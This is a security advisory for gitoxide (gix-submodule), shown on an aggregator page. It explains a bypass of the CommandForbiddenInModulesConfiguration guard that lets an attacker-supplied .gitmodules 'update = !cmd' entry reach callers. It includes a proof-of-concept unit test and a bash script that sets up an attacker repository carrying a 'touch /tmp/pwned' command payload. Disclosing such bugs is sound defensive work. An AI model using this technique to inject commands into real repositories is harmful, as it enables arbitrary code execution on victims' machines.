Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-f26g-jm89-4g65

Опубликовано: 05 мая 2026
Источник: github
Github: Прошло ревью
CVSS4: 8.5
CVSS3: 7.8

Описание

gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> { let value: Update = match self.config.string(format!("submodule.{name}.update")) { // ^^^^^^^^^^^^^^^^^^ // [A] Reads the value. gix_config::File::string() iterates sections // newest-to-oldest; if the override section lacks `update`, it // falls through to .gitmodules and returns the attacker value. // // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76 Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid { submodule: name.to_owned(), actual: v.into_owned(), })?, None => return Ok(None), }; if let Update::Command(cmd) = &value { let ours = self.config.meta(); let has_value_from_foreign_section = self .config .sections_by_name("submodule") .into_iter() .flatten() .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // [B] Checks only that SOME section with this name exists from a // non-.gitmodules source. Does NOT check where [A]'s value // came from. if !has_value_from_foreign_section { return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... }); } } Ok(Some(value)) }

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

  1. Attacker's repo ships a benign .gitmodules (no update key).
  2. Victim clones and runs git submodule init -> .git/config contains:
    [submodule "sub"] active = true url = /tmp/sub-origin
  3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
  4. Victim runs git pull -> .gitmodules now contains:
    [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwned
    while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

  • The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
  • However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test] fn security_bypass_via_partial_override() { use std::str::FromStr; // Attacker-controlled .gitmodules let gitmodules = "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned"; // Post-`git submodule init` state: only `url` copied to .git/config let repo_config = gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap(); let module = gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap(); let result = module.update("a".into()); // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))` // SECURE: should be `Err(CommandForbiddenInModulesConfiguration { .. })` eprintln!("{:?}", result); }
$ cargo test -p gix-submodule security_bypass -- --nocapture running 1 test bypass result: Ok(Some(Command("touch /tmp/pwned"))) test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash set -e cd /tmp rm -rf evil-repo victim sub-origin 2>/dev/null || true # --- Setup --- mkdir sub-origin && cd sub-origin git init -q && git commit -q --allow-empty -m init cd /tmp # --- [1] Attacker creates repo with BENIGN submodule --- mkdir evil-repo && cd evil-repo git init -q git -c protocol.file.allow=always submodule add /tmp/sub-origin sub git commit -q -m "add submodule (benign)" cd /tmp # --- [2] Victim clones and inits (passes git's .gitmodules validation) --- git -c protocol.file.allow=always clone -q /tmp/evil-repo victim cd victim git submodule init # .git/config now has: [submodule "sub"] active=true, url=..., NO update key cd /tmp # --- [3] Attacker adds malicious update to .gitmodules --- cd evil-repo cat >> .gitmodules <<'EOF' update = !touch /tmp/pwned EOF git commit -q -am "add malicious update" cd /tmp # --- [4] Victim pulls --- cd victim git pull -q

Final state:

--- .gitmodules: [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwned --- .git/config (submodule section): [submodule "sub"] active = true url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update fatal: invalid value for 'submodule.sub.update' $ echo $? 128 $ test -f /tmp/pwned && echo VULNERABLE || echo SAFE SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs let repo = gix::open("/tmp/victim")?; for sm in repo.submodules()?.expect("submodules present") { println!("{}: {:?}", sm.name(), sm.update()); }
$ cargo run sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

  1. Calls Submodule::update() to determine the update strategy, and
  2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

  • The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
  • The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
  • Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

  • CI/forge integrations that auto-init submodules and then query the update mode
  • Editor/IDE extensions using gix for submodule info
  • Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Пакеты

Наименование

gix

rust
Затронутые версииВерсия исправления

>= 0.31.0, < 0.83.0

0.83.0

EPSS

Процентиль: 28%
0.00351
Низкий

8.5 High

CVSS4

7.8 High

CVSS3

Дефекты

CWE-183
CWE-349
CWE-501
CWE-77

Связанные уязвимости

CVSS3: 7.8
ubuntu
2 месяца назад

gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.

CVSS3: 7.8
nvd
2 месяца назад

gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.

CVSS3: 7.8
msrc
2 месяца назад

gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule

CVSS3: 7.8
debian
2 месяца назад

gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0 ...

suse-cvrf
около 1 месяца назад

Security update for stgit

EPSS

Процентиль: 28%
0.00351
Низкий

8.5 High

CVSS4

7.8 High

CVSS3

Дефекты

CWE-183
CWE-349
CWE-501
CWE-77